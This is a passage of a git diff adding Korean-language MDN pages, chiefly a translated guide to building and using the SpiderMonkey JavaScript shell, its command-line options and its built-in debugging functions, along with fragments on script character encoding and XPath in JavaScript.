+<h3 id="Gecko_1.8_.EC.9D.B4.ED.9B.84_.EB.B2.84.EC.A0.84.EC.97.90.EC.84.9C_.EB.AC.B8.EC.9E.90_.EC.9D.B8.EC.BD.94.EB.94.A9.EC.9D.B4_.EA.B2.B0.EC.A0.95.EB.90.98.EB.8A.94_.EB.B0.A9.EB.B2.95" name="Gecko_1.8_.EC.9D.B4.ED.9B.84_.EB.B2.84.EC.A0.84.EC.97.90.EC.84.9C_.EB.AC.B8.EC.9E.90_.EC.9D.B8.EC.BD.94.EB.94.A9.EC.9D.B4_.EA.B2.B0.EC.A0.95.EB.90.98.EB.8A.94_.EB.B0.A9.EB.B2.95">Gecko 1.8 이후 버전에서 문자 인코딩이 결정되는 방법</h3>
+<p>JavaScript 파일이 <code><a class="external" rel="freelink">chrome://</a></code> URL에서 로드될 때, 스크립트의 인코딩을 결정하는데 <a href="ko/Byte_Order_Mark">Byte Order Mark</a> (<a href="https://ko.wikipedia.org/wiki/Byte_Order_Mark" title="BOM">BOM</a>)이 사용됩니다. 이외의 경우에는 XUL 파일(<code>&lt;?xml?&gt;</code> 태그의 <code>encoding</code> 속성으로 지정 가능)과 같은 문자 인코딩을 사용합니다. XUL 파일의 기본 인코딩은 UTF-8이며, UTF-8은 사실상 세계의 모든 문자를 표현할 수 있습니다.</p>
+<p>스크립트 파일이 HTTP를 통해서 로드된다면 HTTP 헤더에 <code>Content-Type</code> 헤더의 일부로 캐릭터 인코딩이 포함될 수 있습니다. 예를 들면 이런 형식입니다.</p>
+<pre class="eval">Content-Type: application/x-javascript; charset=UTF-8
+</pre>
+<p>문자 집합(charset)이 지정되지 않으면 앞의 경우와 동일하게 캐릭터셋이 결정됩니다.</p>
+<h3 id=".EB.B2.84.EC.A0.84_.EA.B0.84_.ED.98.B8.ED.99.98.EC.84.B1" name=".EB.B2.84.EC.A0.84_.EA.B0.84_.ED.98.B8.ED.99.98.EC.84.B1">버전 간 호환성</h3>
+<p>Gecko 1.8과 이전 버전에서 동일한 코드를 사용하려고 한다면 ASCII 문자만을 사용해야 합니다. 그러나 <a href="ko/Core_JavaScript_1.5_Guide/Unicode#.EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84_.EC.8B.9C.ED.80.80.EC.8A.A4">유니코드 이스케이프</a>를 사용할 수는 있습니다. – 앞에서 나온 예제를 유니코드 이스케이프를 사용해서 표현하면 다음과 같습니다.</p>
+<pre class="eval">var text = "Ein sch\u00F6nes Beispiel eines mehrsprachigen Textes: \u65E5\u672C\u8A9E";
+</pre>
+<p>이 방법 대신 <a href="ko/NsIStringBundle">nsIStringBundle</a>이나 <a href="ko/XUL_Tutorial/Property_Files">XUL &lt;stringbundle&gt; 요소</a>를 통해 속성 파일(property files)을 사용할 수도 있습니다. 그렇게 하면 XUL을 지역화할 수 있습니다. 그러나 권한을 얻을 수 있는 코드 즉, <a href="ko/Extensions">확장 기능</a>의 코드에서만 가능하고, 웹으로 로드되는 XUL 파일에서는 사용할 수 없는 방법입니다.</p>
+<p></p>
diff --git a/files/ko/introduction_to_the_javascript_shell/index.html b/files/ko/introduction_to_the_javascript_shell/index.html
new file mode 100644
index 0000000000..4368cb8c52
--- /dev/null
+++ b/files/ko/introduction_to_the_javascript_shell/index.html
@@ -0,0 +1,438 @@
+---
+title: Introduction to the JavaScript shell
+slug: Introduction_to_the_JavaScript_shell
+tags:
+  - 스파이더몽키
+translation_of: Mozilla/Projects/SpiderMonkey/Introduction_to_the_JavaScript_shell
+---
+<p>{{SpiderMonkeySidebar("General")}}</p>
+
+<p>자바스트립트 셸(JavaScript shell)은 스파이더몽키에 포함된 커맨드라인 프로그램입니다. 이는 파이썬의 인터랙티브 프롬프트, Lisp read-eval-print 루프, 또는 루비의 <code>irb</code>와 같습니다. 이 문서는 셸을 이용해 자바스크립트 코드를 시험하고, 자바스크립트 프로그램을 실행하는 방법에 대해 소개합니다.</p>
+
+<p>스파이더몽키 자바스크립트 셸을 설치하기 위해서는 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Build_Documentation">SpiderMonkey Build Documentation</a>를 참고하거나, <a class="external external-icon" href="https://archive.mozilla.org/pub/firefox/nightly/latest-mozilla-central/" title="http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/">Nightly Builds</a>에서 사용 중인 플랫폼에 맞는 컴파일된 바이너리를 다운로드하세요.</p>
+
+<p>다른 자바스크립트 셸 리스트를 보고 싶다면 <a class="internal" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Shells" title="En/JavaScript shells">JavaScript shells</a>를 참고하세요.</p>
+
+<h2 id=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.85.B8_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0" name=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.85.B8_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0">자바스크립트 셸 설치하기</h2>
+
+<h3 id="CVS_.EC.84.9C.EB.B2.84.EC.97.90_.EC.A0.91.EC.86.8D.ED.95.A9.EC.8B.9C.EB.8B.A4" name="CVS_.EC.84.9C.EB.B2.84.EC.97.90_.EC.A0.91.EC.86.8D.ED.95.A9.EC.8B.9C.EB.8B.A4">CVS 서버에 접속합시다</h3>
+
+<p>CVS에서 다른 모질라와 관련된 프로젝트의 산물을 얻는 것과 마찬가지로 자바스크립트 셸을 사용하려면 먼저 CVS 서버에 로그인해야 합니다. cd 명령을 사용하여 코드를 체크아웃할 기본 디렉토리로 들어가, 다음과 같은 명령어를 명령행에 입력합니다.</p>
+
+<pre class="eval">cvs -d <a class="link-mailto" href="mailto::pserver:anonymous@cvs-mirror.mozilla.org" rel="freelink">:pserver:anonymous@cvs-mirror.mozilla.org</a>:/cvsroot login
+</pre>
+
+<p>프롬프트가 뜨면 패스워드를 입력합니다. anonymous 라고 입력하면 됩니다.</p>
+
+<h3 id=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.85.B8_.ED.8A.B8.EB.A0.81.ED.81.AC_.EB.B2.84.EC.A0.84_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0" name=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.85.B8_.ED.8A.B8.EB.A0.81.ED.81.AC_.EB.B2.84.EC.A0.84_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0">자바스크립트 셸 트렁크 버전 설치하기</h3>
+
+<p>한번 CVS 서버에 로그인하였으면 필요한 파일을 받아와야 합니다. 트렁크란 CVS에서 중심이 되는 개발 흐름을 말합니다. 트렁크 버전을 다운로드 하기 위해 CVS 트리의 루트로 지정한 디렉토리로 들어가 다음과 같이 명령을 입력합니다.</p>
+
+<pre>cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co -l mozilla/js/src mozilla/js/src/config mozilla/js/src/editline mozilla/js/src/fdlibm
+</pre>
+
+<p>자바스크립트 셸을 설치하는 데 필요한 모든 파일을 체크아웃하였습니다. 이제 다음과 같은 명령 두개만 입력하면 바로 설치할 수 있습니다:</p>
+
+<pre>cd mozilla/js/src
+make -f Makefile.ref
+</pre>
+
+<p>컴파일이 끝나면 우리가 설치한 디렉토리에 실행할 수 있는 파일인 js가 들어 있어야 합니다. 예를 들어 Mac OS X에서라면, 실행 파일은 Darwin_DBG.OBJ/js의 경로에 놓일 것입니다.</p>
+
+<p>이 상태에서 바로 <a href="#Using_the_JavaScript_shell">자바스크립트 셸 사용하기</a>를 실습해 볼 수도 있습니다.</p>
+
+<h3 id=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.85.B8_.EB.B8.8C.EB.9E.9C.EC.B9.98_.EB.B2.84.EC.A0.84_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0" name=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.85.B8_.EB.B8.8C.EB.9E.9C.EC.B9.98_.EB.B2.84.EC.A0.84_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0">자바스크립트 셸 브랜치 버전 설치하기</h3>
+
+<p>간단히 설명하면 브랜치란 중심이 되는 개발 흐름에서 곁가지를 쳐 나온, 작은 부분에 대한 개발 흐름을 뜻합니다. 자바스크립트 셸의 실험적이고 독특한 브랜치 버전을 사용하기를 원한다면 파일을 체크아웃 할 때 <code>-r <em>branchname</em> </code>을 추가하는 것만으로도 바로 사용할 수 있습니다.</p>
+
+<p>설치 과정은 트렁크 버전과 같으나, 체크아웃을 할 때 cvs co... 행의 내용이 조금 바뀝니다.</p>
+
+<pre class="eval">cvs -d <a class="link-mailto" href="mailto::pserver:anonymous@cvs-mirror.mozilla.org" rel="freelink">:pserver:anonymous@cvs-mirror.mozilla.org</a>:/cvsroot co -l -r<em>branch_name</em> mozilla/js/src mozilla/js/src/config mozilla/js/src/editline mozilla/js/src/fdlibm
+</pre>
+
+<p><em>branch_name</em>을 체크아웃하기 원하는 브랜치 버전의 이름으로 변경하세요. 예를 들어 JavaScript 1.7 의 알파 브랜치인, JS_1_7_ALPHA_BRANCH로 변경할 수 있습니다.</p>
+
+<p>컴파일하는 방법은 앞서 설명한 방법과 같습니다.</p>
+
+<h2 id=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.85.B8_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0" name=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.85.B8_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0">자바스크립트 셸 사용하기</h2>
+
+<p>자바스크립트 셸은 두가지 모드로 운영할 수 있습니다. 먼저 여러분은 여러분이 새로운 자바스크립트 코드를 테스트하기 위해 프롬프트에 직접 입력하고 결과를 바로 얻는, 인터랙티브 셸로 사용할 수도 있습니다. 혹은 자바스크립트 프로그램 파일을 명령행에 입력하여 실행할 수도 있습니다.</p>
+
+<div class="note"><strong>노트:</strong> 자바스크립트 셸은 자바스크립트 엔진을 위한 테스트 환경입니다. 그러므로 사용 가능한 함수나 옵션은 변경될 수 있습니다.</div>
+
+<h3 id=".EB.AA.85.EB.A0.B9.ED.96.89_.EC.98.B5.EC.85.98" name=".EB.AA.85.EB.A0.B9.ED.96.89_.EC.98.B5.EC.85.98">명령행 옵션</h3>
+
+<p>셸을 설정하고 사용하는 데 필요한 명령들입니다. 간단히 요약하면 다음과 같습니다.</p>
+
+<ul>
+ <li><code>-b<em>branchlimit</em> </code>
+
+  <ul>
+   <li>최대 브랜치 개수를 정합니다.</li>
+  </ul>
+ </li>
+ <li><code>-c<em>stackchunksize</em> </code>
+  <ul>
+   <li>스택 덩어리의 크기를 정합니다.</li>
+  </ul>
+ </li>
+ <li><code>-C</code>
+  <ul>
+   <li>프로그램을 컴파일만 하고 실행은 하지 않습니다. 굳이 실행하지 않고도 문법 에러를 빠르게 확인할 때 사용할 수 있습니다.</li>
+  </ul>
+ </li>
+ <li><code>-e<em>script</em> </code>
+  <ul>
+   <li>해당<em>script</em> 를 실행합니다. 해당 스크립트 안에는 실행할 수 있는 코드가 들어 있어야 합니다.</li>
+  </ul>
+ </li>
+ <li><code>-f<em>filename</em> </code>
+  <ul>
+   <li><em>filename</em>에 해당하는 자바스크립트 프로그램을 실행합니다.</li>
+  </ul>
+ </li>
+ <li><code>-i</code>
+  <ul>
+   <li>인터랙티브 모드를 활성화합니다.</li>
+  </ul>
+ </li>
+ <li><code>-P</code>
+  <ul>
+   <li><em>이 문서의 저자도 아직 확실히 무슨 옵션인지 모르겠다는군요. :-)</em></li>
+  </ul>
+ </li>
+ <li><code>-s</code>
+  <ul>
+   <li>정적 경고모드를 활성화합니다.</li>
+  </ul>
+ </li>
+ <li><code>-S<em>stacksize</em> </code>
+  <ul>
+   <li>최대 스택 크기를 정합니다.</li>
+  </ul>
+ </li>
+ <li><code>-v</code>
+  <ul>
+   <li>경고 정보를 봅니다.</li>
+  </ul>
+ </li>
+ <li><code>-w</code>
+  <ul>
+   <li>경고 메시지 보기를 활성화합니다.</li>
+  </ul>
+ </li>
+ <li><code>-W</code>
+  <ul>
+   <li>경고 메시지 보기를 불활성화합니다.</li>
+  </ul>
+ </li>
+ <li><code>-x</code>
+  <ul>
+   <li>E4X XML 모드를 활성화합니다.</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id=".EC.85.B8_.EC.8B.A4.ED.96.89.ED.95.98.EA.B8.B0" name=".EC.85.B8_.EC.8B.A4.ED.96.89.ED.95.98.EA.B8.B0">셸 실행하기</h3>
+
+<p>인터랙티브 모드로 셸을 실행하고 싶다면 다음과 같이 입력합니다.:</p>
+
+<pre class="eval">js
+</pre>
+
+<p>foo.js라는 파일을 불러 실행하고 싶다면 다음과 같이 입력합니다.:</p>
+
+<pre class="eval">js -f foo.js
+</pre>
+
+<p>foo.js를 실행하고 나서 인터랙티브 셸로 전환하고 싶다면 다음과 같이 할 수 있습니다:</p>
+
+<pre class="eval">js -f foo.js -f -
+</pre>
+
+<h4 id=".EC.9D.B8.ED.84.B0.EB.9E.99.ED.8B.B0.EB.B8.8C_.EB.AA.A8.EB.93.9C.EC.97.90.EC.84.9C_.EC.85.B8_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0" name=".EC.9D.B8.ED.84.B0.EB.9E.99.ED.8B.B0.EB.B8.8C_.EB.AA.A8.EB.93.9C.EC.97.90.EC.84.9C_.EC.85.B8_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0">인터랙티브 모드에서 셸 사용하기</h4>
+
+<p>인터랙티브 모드에서 당신은 손으로 직접 오브젝트와 함수들을 입력하여 자바스크립트를 실행하고 구문들을 테스트해 볼 수 있습니다. 이것은 우리의 아이디어를 시험해보기 편리한 방법이며, 자바스크립트 엔진을 사용하는 개발자들이 이 언어의 새로운 요소들을 시험해보는 중요한 장이기도 합니다.</p>
+
+<h3 id=".EB.B9.8C.ED.8A.B8-.EC.9D.B8_.ED.95.A8.EC.88.98" name=".EB.B9.8C.ED.8A.B8-.EC.9D.B8_.ED.95.A8.EC.88.98">빌트-인 함수</h3>
+
+<p>자바스크립트 셸을 더욱 유용하게 사용하기 위하여, 당신이 자바스크립트 프로그램이나 인터랙티브 모드에서 사용할 수 있는 함수들이 준비되어 있습니다.</p>
+
+<h4 id="build.28.29" name="build.28.29"><code>build()</code></h4>
+
+<p>자바스크립트 셸이 빌드된 시간과 날짜를 반환합니다.</p>
+
+<h4 id="clear.28.5Bobject.5D.29" name="clear.28.5Bobject.5D.29"><code>clear(<em>[object]</em> )</code></h4>
+
+<p><var>object</var>의 속성들을 비웁니다. 다른 옵션 없이 <code>clear()</code>라고만 실행하면 모든 속성이 초기화됩니다.</p>
+
+<div class="note"><strong>Note:</strong> 다른 옵션 없이 <code>clear()</code> 를 실행하면 정말로 모든 것이 지워집니다. 지금 설명하는 빌트-인 함수들도 포함해서 말이지요.</div>
+
+<h4 id="clone.28function.2C_.5Bscope.5D.29" name="clone.28function.2C_.5Bscope.5D.29"><code>clone(<em>function, [scope]</em> )</code></h4>
+
+<p>해당 <var>function</var>의 오브젝트들을 복제합니다. <var>scope</var>가 따로 정해지지 않았다면 새로운 오브젝트의 부모 요소는 기존의 것과 완전히 동일해집니다. 기존 함수에서 일부만을 떼어 복사하고 싶다면 <var>scope</var>로 범위를 지정해 주세요.</p>
+
+<h4 id="dis.28.5Bfunction.5D.29" name="dis.28.5Bfunction.5D.29"><code>dis(<em>[function]</em> )</code></h4>
+
+<p>다른 프로그램에 사용하거나 특별한 함수로 만들기 위해 자바스크립트를 바이트코드로 만드는(디스어셈블 하는) 함수입니다.</p>
+
+<p>예를 들어 다음과 같은 자바스크립트가 있다고 합시다.</p>
+
+<pre>function test() {
+  var i = 3;
+  print(i+2);
+}
+</pre>
+
+<p>dis(test);를 실행하면 다음과 같은 결과를 볼 수 있습니다:</p>
+
+<pre>main:
+00000:  uint16 3
+00003:  setvar 0
+00006:  pop
+00007:  name "print"
+00010:  pushobj
+00011:  getvar 0
+00014:  uint16 2
+00017:  add
+00018:  call 1
+00021:  pop
+00022:  stop
+
+Source notes:
+  0:     0 [   0] newline
+  1:     3 [   3] var
+  2:     7 [   4] newline
+  3:    18 [  11] xdelta
+  4:    18 [   0] pcbase   offset 11
+</pre>
+
+<h4 id="dissrc.28.5Bfunction.5D.29" name="dissrc.28.5Bfunction.5D.29"><code>dissrc(<em>[function]</em> )</code></h4>
+
+<p>다른 프로그램에 사용하거나 특별한 함수로 만들기 위해 자바스크립트를 바이트코드로 만들고 소스를 보여주는 함수입니다. 이 함수는 파일에서 로딩된 함수에만 적용할 수 있으며, 셸에서 명령을 입력할 때에도 <code>-f</code> 옵션을 주거나 <code>load()</code> 함수를 사용해야 합니다.</p>
+
+<p>당신의 프로그램에 <code>doStuff()</code> 함수가 포함되어 있다고 가정합시다.</p>
+
+<pre>function doStuff(input) {
+	print("Enter a number: ");
+	var n1 = readline();
+	print("Enter another one: ");
+	var n2 = readline();
+
+	print("You entered " + n1 + " and " + n2 + "\n");
+}
+</pre>
+
+<p>그러면 <code>dissrc(doStuff)</code> 함수를 실행한 결과를 보겠습니다.:</p>
+
+<pre>;-------------------------  10:         print("Enter a number: ");
+00000:  10  name "print"
+00003:  10  pushobj
+00004:  10  string "Enter a number: "
+00007:  10  call 1
+00010:  10  pop
+;-------------------------  11:         var n1 = readline();
+00011:  11  name "readline"
+00014:  11  pushobj
+00015:  11  call 0
+00018:  11  setvar 0
+00021:  11  pop
+;-------------------------  12:         print("Enter another one: ");
+00022:  12  name "print"
+00025:  12  pushobj
+00026:  12  string "Enter another one: "
+00029:  12  call 1
+00032:  12  pop
+;-------------------------  13:         var n2 = readline();
+00033:  13  name "readline"
+00036:  13  pushobj
+00037:  13  call 0
+00040:  13  setvar 1
+00043:  13  pop
+;-------------------------  14:
+;-------------------------  15:         print("You entered " + n1 + " and " + n2 + "\n");
+00044:  15  name "print"
+00047:  15  pushobj
+00048:  15  string "You entered "
+00051:  15  getvar 0
+00054:  15  add
+00055:  15  string " and "
+00058:  15  add
+00059:  15  getvar 1
+00062:  15  add
+00063:  15  string "\\n"
+00066:  15  add
+00067:  15  call 1
+00070:  15  pop
+00071:  15  stop
+</pre>
+
+<h4 id="evalcx.28string.5B.2C_object.5D.29" name="evalcx.28string.5B.2C_object.5D.29"><code>evalcx(<em>string[, object]</em> )</code></h4>
+
+<p>Evaluates the JavaScript code in<em>string</em> . If<em>object</em> is specified, the code is executed in that object, treating it as a sandbox.</p>
+
+<p>If<em>string</em> is empty and<em>object</em> is not specified, <code>evalcx()</code> returns a new object with eager standard classes.</p>
+
+<p>If<em>string</em> is "lazy" and<em>object</em> is not specified, <code>evalcx()</code> returns a new object with lazy standard classes.</p>
+
+<div class="note"><strong>Note:</strong> <code>evalcx()</code> is only useful for people doing deep internal work on the JavaScript engine, for testing <code>evalInSandbox</code>-like environments in the shell.</div>
+
+<h4 id="gc.28.29" name="gc.28.29"><code>gc()</code></h4>
+
+<p>가비지 콜렉터를 실행하여 메모리를 깨끗이 비웁니다.</p>
+
+<h4 id="getpda.28object.29" name="getpda.28object.29"><code>getpda(<em>object</em> )</code></h4>
+
+<p>Returns the property descriptors for the specified<em>object</em> .</p>
+
+<h4 id="getslx.28object.29" name="getslx.28object.29"><code>getslx(<em>object</em> )</code></h4>
+
+<p>Returns the script line extent, which is the number of lines of code comprising the specified object.</p>
+
+<h4 id="help.28.5Bcommand_....5D.29" name="help.28.5Bcommand_....5D.29"><code>help(<em>[command ...]</em> )</code></h4>
+
+<p>Displays brief help information about the specified commands, or about all available functions if none are specified.</p>
+
+<h4 id="intern.28string.29" name="intern.28string.29"><code>intern(<em>string</em> )</code></h4>
+
+<p>Internalizes the specified <var>string</var> into the atom table. Every string has a unique identifier, called an atom. This system makes it easier to do comparisons between strings.</p>
+
+<div class="note"><strong>Note:</strong> This function is intended only for use when testing the JavaScript engine.</div>
+
+<h4 id="line2pc.28.5Bfunction.2C_.5D_line.29" name="line2pc.28.5Bfunction.2C_.5D_line.29"><code>line2pc(<em>[function, ] line</em> )</code></h4>
+
+<p>Returns the program counter value corresponding to the specified<em>line</em> of code. If<em>function</em> is specified,<em>line</em> is an offset into the specified function.</p>
+
+<h4 id="load.28filename1_.5Bfilename.5D.29" name="load.28filename1_.5Bfilename.5D.29"><code>load(<em>filename1</em><em>[filename]</em> )</code></h4>
+
+<p>Loads the files with the specified names.</p>
+
+<h4 id="notes.28.5Bfunction.5D.29" name="notes.28.5Bfunction.5D.29"><code>notes(<em>[function]</em> )</code></h4>
+
+<p>Shows the source notes for the specified function. Source notes contain information that map the bytecode to the source code, which is used when decompiling the code, such as when using the <code>dissrc()</code> function.</p>
+
+<h4 id="options.28.5Boption_....5D.29" name="options.28.5Boption_....5D.29"><code>options(<em>[option ...]</em> )</code></h4>
+
+<p>Lets you set or get options. If you specified options on the command line, the results of calling <code>options</code> will indicate which options you requested. You can also pass in new options to set.</p>
+
+<p>If you start the shell with the command js -x, then the <code>options()</code> function will return xml. If you start the shell with no options, and decide you want to enable XML mode, you can do so by issuing the command:</p>
+
+<pre class="eval">options('xml');
+</pre>
+
+<p>The available options are:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Option Name</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>strict</code></td>
+   <td>Strict 모드를 활성화합니다.</td>
+  </tr>
+  <tr>
+   <td><code>werror</code></td>
+   <td>경고를 에러로 속여 출력합니다.</td>
+  </tr>
+  <tr>
+   <td><code>atline</code></td>
+   <td>When <code>atline</code> is enabled, comments of the form <code>//@line<em>num</em> </code> set the number of the following line to <code><em>num</em> </code>.</td>
+  </tr>
+  <tr>
+   <td><code>xml</code></td>
+   <td>XML 모드를 활성화합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="pc2line.28function.2C_.5Bpc.5D.29" name="pc2line.28function.2C_.5Bpc.5D.29"><code>pc2line(<em>function, [pc]</em> )</code></h4>
+
+<p>Returns the line number of the JavaScript code that corresponds to the first line of the specified<em>function</em> . If you specify a program counter offset into the function, the line number of the line of code containing that offset is returned.</p>
+
+<h4 id="print.28.5Bexpression_....5D.29" name="print.28.5Bexpression_....5D.29"><code>print(<em>[expression ...]</em> )</code></h4>
+
+<p>문자열이면 문자열, 식이면 식으로<em>expression</em> 의 값을 구하여 그 결과를 stdout 으로 출력합니다.</p>
+
+<h4 id="quit.28.29" name="quit.28.29"><code>quit()</code></h4>
+
+<p>셸에서 빠져나옵니다.</p>
+
+<h4 id="readline.28.29" name="readline.28.29"><code>readline()</code></h4>
+
+<p>표준 입력으로 읽어들여 호출자에게 되돌려줍니다. 이 함수를 사용하여 자바스크립트에서 인터랙티브 셸 프로그램을 만들 수 있습니다.</p>
+
+<h4 id="seal.28object.5B.2C_deep.5D.29" name="seal.28object.5B.2C_deep.5D.29"><code>seal(<em>object[, deep]</em> )</code></h4>
+
+<p>Seals the specified<em>object</em> , or an object graph if<em>deep</em> is <code>true</code>. By sealing an object or object graph, you disable modification of those objects.</p>
+
+<h4 id="stats.28.5Bstring_....5D.29" name="stats.28.5Bstring_....5D.29"><code>stats(<em>[string ...]</em> )</code></h4>
+
+<p>Dumps statistics. Valid options are<em>arena</em> ,<em>atom</em> , and<em>global</em> .</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Option</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>arena</code></td>
+   <td>Outputs the arena table.</td>
+  </tr>
+  <tr>
+   <td><code>atom</code></td>
+   <td>Outputs the atom table.</td>
+  </tr>
+  <tr>
+   <td><code>global</code></td>
+   <td>Outputs the global name table.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>An<em>arena</em> is a large block of memory from which the JavaScript engine allocates sub-blocks in order to optimize performance; issuing a large number of <code>malloc()</code> calls for each individual block is inefficient, so the engine creates arenas, then uses an internal memory management system to allocate memory from within those. The arena table is a list of all the arenas that have been allocated by the shell. <code>stats("arena")</code> lets you inspect the arena table so that you can see how a test case uses arenas.</p>
+
+<p>An<em>atom</em> is a unique identifier for a string. In order to optimize comparisons between strings, each string is given an atom. These atoms are stored in a hash table, which you can display using the command <code>stats("atom")</code>.</p>
+
+<p><code>stats("global")</code> displays the global name table, which contains the names and information about each object in memory.</p>
+
+<h4 id="stringsAreUtf8.28.29" name="stringsAreUtf8.28.29"><code>stringsAreUtf8()</code></h4>
+
+<p>문자열이 UTF8 형식으로 인코드 되어있을 경우 <code>true</code>를, 그 외의 경우 <code>false</code>를 반환합니다.</p>
+
+<h4 id="testUtf8.28mode.29" name="testUtf8.28mode.29"><code>testUtf8(<em>mode</em> )</code></h4>
+
+<p>UTF-8이 제대로 동작하는지 1에서 4까지의 정수 변수를 입력하여 테스트합니다. 이것은 UTF-8 문자열이 제대로 처리되는지 확인하는 간단한 디버깅 명령으로, 일반적으로는 이 명령을 사용하여 따로 확인하기보다는 자바스크립트 엔진에서 직접 작업하며 확인하는 것이 빠릅니다.</p>
+
+<h4 id="throwError.28.29" name="throwError.28.29"><code>throwError()</code></h4>
+
+<p><code>JS_ReportError()</code> 함수에서 에러를 받아 지정된 방식으로 처리합니다.</p>
+
+<div class="note"><strong>Note:</strong> 이 함수는 자바스크립트 엔진을 시험하는 목적으로만 사용하세요.</div>
+
+<h4 id="tracing.28.5Btoggle.5D.29" name="tracing.28.5Btoggle.5D.29"><code>tracing(<em>[toggle]</em> )</code></h4>
+
+<p><code>true</code> 혹은 <code>false</code>로 지정하여 트레이스 모드를 켜거나 끌 때 사용합니다. 따로 설정한 것이 없다면 <code>tracing()</code> 함수는 일반적인 설정사항을 반환할 것입니다.</p>
+
+<div class="note"><strong>Tip:</strong> 이 함수는 자바스크립트를 <code> JS_THREADED_INTERP</code>로 빌드했을 때만 사용할 수 있습니다. 이 옵션은 jsinterp.c에서 지정할 수 있습니다.</div>
+
+<h4 id="trap.28.5Bfunction.2C_.5Bpc.2C.5D.5D_expression.29" name="trap.28.5Bfunction.2C_.5Bpc.2C.5D.5D_expression.29"><code>trap(<em>[function, [pc,]] expression</em> )</code></h4>
+
+<p>자바스크립트 코드의 지정된 위치에 트랩을 설정합니다. 해당<em>function</em> 의<em>pc</em> 오프셋에<em>expression</em> 에 해당하는 바이트 코드를 집어넣을 수 있습니다.</p>
+
+<p><code>line2pc()</code>와 함께 사용하면 강력한 디버깅 방법이 됩니다 예를 들어 원래는 <code>doSomething()</code>을 사용하는 함수의 6번째 줄을 실행할 때 메시지를 출력하고 싶다면 다음과 같이 사용할 수 있습니다.</p>
+
+<pre>trap(doSomething, line2pc(test, 6), "print('line 6!\n')");
+</pre>
+
+<div class="note"><strong>Note:</strong> 트랩이 설정된 동안 프로그램 내의 해당 바이트 코드는 <code>untrap()</code>을 사용하여 트랩을 해제할 때 까지 <code>trap</code> 바이트 코드로 대체됩니다.</div>
+
+<h4 id="untrap.28function_.5B.2C_pc.5D.29" name="untrap.28function_.5B.2C_pc.5D.29"><code>untrap(<em>function [, pc]</em> )</code></h4>
+
+<p>지정된<em>function</em> 의<em>pc</em> 오프셋에서 트랩을 삭제합니다.<em>pc</em> 가 지정되지 않았다면 해당 함수수에 접근할 때 걸리는 트랩을 삭제하게 됩니다. 이 함수는 트랩이 지정되지 않았을 경우에는 아무 동작도 하지 않습니다.</p>
+
+<h4 id="version.28.5Bnumber.5D.29" name="version.28.5Bnumber.5D.29"><code>version(<em>[number]</em> )</code></h4>
+
+<p><code>version()</code> 함수는 자바스크립트 버전을 반환합니다. 그다지 쓸 일이 있는 함수는 아니지요.</p>
diff --git a/files/ko/introduction_to_using_xpath_in_javascript/index.html b/files/ko/introduction_to_using_xpath_in_javascript/index.html
new file mode 100644
index 0000000000..e15574b588
--- /dev/null
+++ b/files/ko/introduction_to_using_xpath_in_javascript/index.html
@@ -0,0 +1,367 @@
+---
+title: Introduction to using XPath in JavaScript
+slug: Introduction_to_using_XPath_in_JavaScript
+tags:
+  - Add-ons
+  - DOM
+  - Extensions
+  - Transforming_XML_with_XSLT
+  - Web Development
+  - XPath
+translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript
+---
+<p>이 문서는 JavaScript 안, 확장기능, 웹사이트에서 <a href="ko/XPath">XPath</a>를 사용하기 위한 인터페이스를 설명합니다. Mozilla는 <a class="external" href="http://www.w3.org/TR/DOM-Level-3-XPath/xpath.html">DOM 3 XPath</a>를 상당량 구현합니다. 이것은 XPath 식이 HTML과 XML 문서 모두에서 잘 돌아간다는 것을 뜻합니다.</p>
+
+<p>XPath를 사용하는 주 인터페이스는 <a href="ko/DOM/document">document</a> 개체의 <a href="ko/DOM/document.evaluate">evaluate</a> 함수입니다.</p>
+
+<h2 id="document.evaluate" name="document.evaluate">document.evaluate</h2>
+
+<p>이 메소드는 <a href="ko/XML">XML</a>에 기반을 둔 문서(HTML 문서 포함)에 대해 <a href="ko/XPath">XPath</a> 식을 평가하고 단일 노드나 노드 집합일 수 있는 <code>XPathResult</code> 개체를 반환합니다. 이 메소드를 다루는 기존 문서는 <a href="ko/DOM/document.evaluate">여기</a>에 있지만 당장 우리 필요에 좀 부족하여, 더 이해가 빠른 설명을 아래에 제공합니다.</p>
+
